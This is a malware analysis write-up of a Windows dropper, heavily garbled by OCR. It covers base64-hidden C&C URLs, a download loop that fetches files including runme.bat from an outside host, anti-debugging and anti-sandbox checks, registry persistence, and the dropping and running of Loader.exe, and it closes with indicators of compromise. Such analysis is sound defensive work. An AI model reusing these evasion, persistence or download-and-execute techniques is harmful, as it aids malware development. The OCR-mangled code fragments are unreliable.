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Full analysis dropper malware 0x01

Introduction

| am so happy to write about the second full analysis for dropper malware and we will deep into
details of the analysis

Identification

When scanning the malware with virustotal we can see that the malware has been detected by
10 out of 70 security vendors and we can see the results in the next figure.

\
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Artifacts

We can see the following artifacts that have been analyzed for the sample

e PE timestamp : 2020-06-25 06:30:41
e SHA256 : a4c1473add35a0409fc49c12c344decf8ff71b1029f77de2d20c9794ce387ab9
e Sizein KB :95.50 KB

e File name : sample.bin

obfuscation

When examining the next figure, we can see that attacker makes an array of Base64 data which
obfuscate the process of reverse engineering and hidden C&C which will be used to download
files after getting the temp path directory and also we can see that the sample use
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CryptStringToBinaryA to decode the C&C and after downloading the file, the malware will
remove it and we can see the results in the next figures

uan
“aHRAcDovL 3d3 DHNTYKAUY 29 ipYzIuanBn";
"aHR@cDowvl3d3 bHN Y 25 i nen";
"aHR@cD " \ Y 26 uanBn";
i uanBn";

lcibgeGe=";
= "aHR@cDor : i 4 venVubWUuYmFe™ ;

aHRecD E Y ' ciSqohe=";

f L2h1YWR1ciSqoGe="}

ray[i], FileName,
i], v2, szUrlName,

r1Name) ;
, szUrlName, FileMame, @,

Now we get an overview of the function and summary for actions that taken by sample. So | will
deep into every function to extract more information about the behavior of the sample. After
examining the first function from the parent function, we can see that malware gets the path to
the temp directory and push the first index of the array to decode it and we can decode the first
index to get the first C&C and we can see the results in the next figure.
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After decoding the first index of the array, we can see that malware downloads the file from this

link (http://www.elsmap.com/pic1.jpg) and after downloading the file in temp directory the

malware will remove the file name and C&C which used for downloading the file, So we can see

that malware makes for loop to do this operation for 10 times and we can see the result in the

next figure

result = (i + 1);

y[1], FileMame,
v2, szUrlMName, @

from the previous figure, we can see for loop and we will see 10 files and 10 C&C to download

them in temp directory.
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elsmap.
elsmap.
elsmap.
elsmap.
elsmap.
elsmap.
elsmap.
elsmap.
elsmap.

elsmap.

com/picl.jpg ---> Temp\banner.jpg
com/start.jpg ---> Temp\start.jpg
com/picl.jpg ---> Temp\picl.jpg
com/picl.jpg ---> Temp\pic2.jpg
com/picl.jpg ---> Temp\pic3.jpg
com/picl.jpg ---> Temp\pic4.jpg
com/picl.jpg ---> Temp\pic5.jpg
com/footer.jpg ---> Temp\footer.jpg
com/exam/runme.bat ---> Temp\runme.bat
com/header. jpg ---> Temp\header.jpg

debugging

| will deep into the next function, so we can see in the next figure that malware is being
debugged in the process environment block and if find this flag is one, this means that the
process is running under the debugger and show the message and in the end, will exit the

process so we can change the path of if condition to bypass these techniques

[0, %

=~

' [rsp+2@h] [rbp-18h]

d;
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Anti Sandbox

The malware uses anti sandbox tricks to detect running malware in a sandbox by making if
condition on four functions and if any function return true the malware will show message
sandbox detected and exit process to prevent running malware and we can see that in the next
figure.

Y

if ( |Anti_sandox @1() || Anti_sandbox 2() || Anti_sand 13() || Anti_sandox_@4() )

1, | L"sandbox Detected!™, L"ABORT!™, @

£

bm5lcisqoGe=");

%o

So we must examine every function to know about tricks that are used by malware to detect the
sandbox and | will be started by Anti_sanbox_1 to deep into it and | will start by Anti_sanbox_1
function to deep into it, after examining the function we can see that malware gets information
about a system using (GetSystemInfo) and then use (GlobalMemoryStatusEx) to retrieve
information about the usage of the system for physical and virtual memory and we work on a
virtual machine which uses less physical memory and virtual memory and from here the malware
detects the sandbox by using this tricks and the malware also will create the file and in the end, it
will check the DeviceloControl calls that used to trigger the Virtualbox exploit. So we can see the
results in the next figure.

12 ( emInfo};
if ( umberOfProc

( (Euffer.ullTataiPhys /B

1164;

hDevice =

| will examine the Anti_sandbox_2 function to know about tricks used by malware to detect the
sandbox, the malware will search in the system32 directory for the two file

e C:\Windows\System32\VBox*.dll
e C:\Windows\System32\vm*.dll

And also open the following two registry key

e SYSTEM\ControlSet001\Services\VBoxSF
e SYSTEM\ControlSet001\Services\VMTools
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After searching about two files and two registers, we can identify that malware tries to find
VMware and VirtualBox programs that are used as a sandbox by these tricks and if the malware

finds anything from them will detect the sandbox and we can see the results in the next figure.
HKEY phkResult[2]; [ 36h] [rbp-278h] BYREF
struct _WIN32_ FIND_DATAL ndFileData; [rsp+4@h] [rbp-268h] BYREF

(L"C:\\Windows\\System32\\VBox*.d11", &FindFileData) !=

(L"C:\\Windo = *.d11", &FindFileData) != -

lu, phkResult) )
3, 1lu, phkResult) == @;

| will examine the Anti_sandbox_3 function to know about tricks that used by malware to detect
the sandbox, the malware use K32EnumProcesses to see all process and check for VMware
processes or Virtualbox processes.

D cbleeded[3]; // [rsp+24h] [rbp-1824h] BYREF
D idP [1024]; // [rsp+3@h] [rbp-1@18h] BYREF

BBu, cbNeeded);

o
3
4
5
B
T

(idProcess

ca

now | check the last function and we can see that the malware use GetTickCount64 to retrieves
the number of milliseconds of the execution process to detect the sandbox.

If you open the malware in the debugger and bypass the anti-debugging and anti-sandbox
techniques, the malware will show a message, and to bypass it, you must click on the (No) button
to complete the process of debugging the malware and we can see the message in the next
figure.

ORD cbNeeded[3]; // [rspt+24h] [rbp-1@24h] BYREF
JORD idProcess[1@24]; // [rsp+38h] [rbp-1818h] BYREF

(idPro Bx1866u, cbMeeded);

=] oW e L pa

~n cbNeeded[g] /

oa

Updata a system

Malware download updates on a system and check the internet connection with
(InternetCheckConnectionA)
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oh] [rbp-D8h] BYREF
h] [rbp-Béh]
" [rsp+3@h] [rbp-ABh] BYREF

I

7
5

persistence

The malware will copy base64 data and pass it as the first parameter to decode it and after
decoding the base64 data the malware will set the key to persistence itself and we can see the
overall in the next figure.

o

a3

when decoding the base64 data, we can see the decoded value in the next line.

Yzpcd21luZG93cl1xzdmNob3NOLmV4ZQ== ---> c:\windows\svchost.exe

open the run key and set a key called wizLoader and we can see the results in the next figure

hKey, al, @, 1lu, a2, cbData
y

(hKey);

From the previous figure, we see the path to the key and the name of the key which is called

"WizLoader”. SO | will go to regedit from run to see the key and we can see the result in the
next figure.
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i Registry Editor ==
File Edit View Favorites Help
. Reliability “ || Mame Type Data

> -l se”amEF"ES a5) (Defautt) REG_SZ (value not sef)

L — RunO E"f]‘lwaare User Pr.. REG 57 "C\Program Files\Vivbware\VMware Tools\wvmtool..

i S:ﬁ”in;;:nc ab]Mware VM3DS... REG_SZ "C:\Windows\system32ivm3dservice.exe” -u

" ab RN

i | SharedDLLs

> -y Shell Extensions L4

2~ 1 ShellCompatibility

i | ShellServiceObject] _
4 [ L] t 4 | i |

k:cnr'n puterHKEY_LOCAL MACHIMNE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |

so we see that the WizLoader is .exe and from here we can identify that the malware tries to
make AutRun for malware. the malware copy another base65 data and decode it. so we can see
the decoded value in the following lines.

aHROcDovL3d3dy51bHNtYXAuY29tL2Jhbm51ci5qcGe= ---> http://www.elsmap.com/banner.jpg
QzpcV21uZG93c1xTeXNOZWOzM1xjb25iYXN1LmRsbA== ---> C:\Windows\System32\conbase.dll

we can see the code that copies the previous base64 data and decode them in the next figure.

how messsage();
naload updata();
t file In registery
5, | "aHRecDo y N 3tL2ThbmS1ciSqcGe=");

T

e file crypto strings();
r = 7 Yy =
t string();

ypto string();

we will check the next figure to see more information about malware, so we can see that
malware tries to persist. We can see that the malware encodes the conbase.dll to supply
conbase.dll during the system boot for malware and persistence in
HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors and we can see that conbase.dll is
located in C:\Windows\System32 and we can see the result in the next figure.
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=

WVWCurrentControlset\\Control\\Print\\Monitor ortMonitor",

al, @, 1lu, a2, chData) )

After that, the malware will download a file from (http://www.elsmap.com/banner.jpg) and delete
the traces behind by deleting the URLs that used to download files and we can see the results in
the next figure.

let us check the next figure, we can see that malware will generate a name for temp file and pass
the generated name to (CreateFileA) to create a file with generated name and copy Base64 to
decode it and write the buffer on the created file and we can see the result in the next figure.
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(Buffer);

t7XRoak5nIGVs

vB
s VB,

now | will go to the debugger and see the generated name and the created file and we can see

the result in the next figure.

% sample.exe - PID: 300 - Module: sample.exe - Thread: Main Thread 1824 - x64dbg [Elevated] o |[® |
File View Debug Tracng Plugins Favourites Options Help Jul 1 2021 (TitanEngine

SE il T 9§ T2 W ¢ o @ fc# Al B
& cru | Log | 1 Notes ® Breakpoints | ¥ Memory Map ] () Call Stack I & SEH I 10| Seript l 'ﬂSymbols I <> source l 2+~ References l “W Threads I j_;HandIes ”,IL‘

/ dword ptr ss A‘ Hide EPU
rcx,qword ptr < = s
R ) -
qword ptr ds: A 000000000025BE38 P

REX  000000000025D020
3FS551E gword ptr 0 8
/ dword ptr 00000000C0000000
/ dword ptr RB 0000000000000001
r9d. rod P 000000000025BDC8
o RS 00000001 3F554C99
réd, RDI  000000000025BEB1
edx,
rcx,qword ptr s 0000000000000001
- 0000000000000000
ERas =EEarenLien R10  00000000C0000034
word ptr ss: 11
»

quword ptr ds:[000000013F554058 <sample.&CreateFileA>]=<kernel32.CreateFileA> 2 7] Unlocked
1: rcx 000000000025BE38 (4]
2: rdx ©0000000(0000000
3: r8 0000000000000001

.text:000000013F551E51 sample.exe:$1E51 #1251

il m i m m ) = ¢ 000000000025BDC8 | 000000000025BE6S | 'V .
%Dump1 | gYDump2 | @Dump3 | YYDump4 | YWDump5 | & watch 1 I 1x=] Locals | 000000000025BE38 ers\\g
Address Hex ASCII | 00000000002580D8 000000000025BEB8 “There is noth

0000000000001000
8 0000000000000002
0000000000000080
5 0000000000000000

5 43 3A 3 65 65 6C 5C C:\Users\|NEEN\
41 70 3 6C 5C 54 65 AppDatal\local\Te

3 6D 70 3 3 mp\s8c.1 0 0 RDE
56 47 68 6 3 58 4D 67 62 6D @ VGhlcmUgaXMgbm9@ - 0000000000394730 &"@|Syp\x07" -

<« 1 » »
Command: Commands are comma s ke assembly instructions): mov eax, ebx {Defadt -
Paused lDulp: 000000000025BE38 -> 000000000025BESF (0x00000028 bytes) Time Wasted Debugging: 0:04:48:21

we can see that the malware makes for loop to create 5 files and when | examine the first file of
them. | can identify that this file is meaningless after writing the buffer in created file and we can
see the buffer in the next figure.
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E3 sample.exe - PID: 300 - Module: sample.exe - Thread: Main Thread 1824 - x64dbg [Elevated] o3| =
Jul 1 2021 (TitanEngine)
S5SE =0 &5 92§ +2 R o P # AR
& cru ® Breakpoints | [# Memory Map I (L) call Stack I &5 SEH | || Seript | &) symbols | <2 source | /- References | W Threads | & Handles N_It‘

| 2 Log |+ Notes

0000001 3F551F0F

mov qword ptr s

lea r9,qword ptr
mov r8d,dword ptr
lea rdx,qword ptr

mov rcx,qword ptr s

11 gword ptr
mov dword ptr

0000

0000000000000001
0000000000256DC8
000000013F554C99

cmp dword ptr
jne 5
Xor eax,eax

000000000025BEBL

dword ptr ss:[rsp+54]=[000000000025BE1C]=0

eax=1 ! rcx 0000000000000000

¢ rdx ©00000013F550000
: ré 00000000000000F0
. .9 o co

.text :000000013F551FOF sample.exe:$1FOF #130F

7 &% Dump 1 4 Dump 2 T &% Dump 3 ]

| Address

<

Command: Commands

Dropper files

w7
MZ

0000000000001000

0 0000000000000244

000000000025BEB8
0000000000000035

8 73726573555C3A43

5C6C6565616D675C
5C61746144707041
65545C6C61636F4C

»

5 |2/ 7] Unlocked

After that, the malware will create a ph.exe file in the same directory and we can see the result in

the next figure.

DWORD nNumberOfB J/ [rsp+48h] [rbp-4838h]
HANDLE hFile; // [i rbp-4828h]
0 NumberOf : j +58h] [rbp-

{1 [rs h] BYREF
Buffer[1l

Numbe
niumb

| want to see the buffer that will be written on file after creating it and we can see the results in

the next figure
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w sample.exe - PID: 300 - Module: sample.exe - Thread: Main Thread 1824 - x64dbg [Elevated]

File View Debug Tracng Plugins Favourites Options Help
DS E = 0

Jul 1 2021 (TitanEngine)

& fx # A B

+~ References

o) a- =]

% Threads | o Handes | *]?]

7% CPU | | tlog | | 1) Notes I ® Breakpoints | ¥ Memory Map I L) call stack | &7 SEH | |o| Script I &] symbols I <2 source

000000013F551477

r9,qword ptr ss:

r8d,dword ptr
rdx,qword ptr
rcx,qword p
qword ptr

v dword ptr s
dword ptr s

eax, eax

rcx,qword ptr s
word ptr ds:

qword ptr ds:[@900@@013F554120 <sample.&WriteFile>]=<kernel32.WriteFile>

.text :000000013F551477 sample.exe:$1477 #877

§% Dump 1 &y Dump 2

@ watch 1 | Ix=lLocals

0000000000003800
000000000025D020
0 )0250
000000000025 8EC8
0000000000000001
000000000025 8E68
0000000000000000
0000000000000001

0000000000003800
000000000025 8ECO
0000000000000041

Hide FPU

: rcx 0000000000000250

: rdx ©000000000258EC3
3: r8 0o 00000003300

. oo gooocacca

Address

the buffer was base64 data and malware decodes it and copies the buffer by writeFilea.when
examining the next function we see the same methodology for creating and decode buffer to
create the malicious file which is called Loader.exe and we can see the created file in the next

figure.

B

Ln

=] T

ca

11

; // [rsp+48h] [rbp-4838h]
rbp-4@828h]
; [/ [rsp+58h] [rbp-48:

26h] BYREF

0000000000000250
002F000900000000
0000000300905A4D
0000FFFF0O0000004
00000000000000B8
0000000000000040

8 0000000000000000

0000000000000000

Buffer,
ritten, @

»

In the last. the malware will execute Loader.exe by open cmd.exe as administrator and pass the

parameter to execute the malware on the system so we can identify the first stage of malware is
dropper another malware and execute on the machine and we can see the results in the next

figure.
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() || Anti_sandox @4() )

2
Po b RO = & LD

=

[ g B =

=] M

el ]
O o

4, ["open”), |"cmd.exe"}, | /C loader.exe |&& del /F |loader.exe”| 8i64

10Cs

a4c1473add35a0409fc49c12c344decf8ff71b1029f77de2d20c9794ce387ab9
CF48AF5B5779877C3BD9F15A443BE1B1 D2DCC98A3CF29BE377291DAC3EESDF1C

C&C

hxxp://www.elsmap.com/header.jpg hxxp://www.elsmap.com/pic1.jpg
hxxp://www.elsmap.com/start.jpg

hxxp://www.elsmap.com/pic1.jpg

hxxp://www.elsmap.com/footer.jpg hxxp://www.elsmap.com/exam/runme.bat
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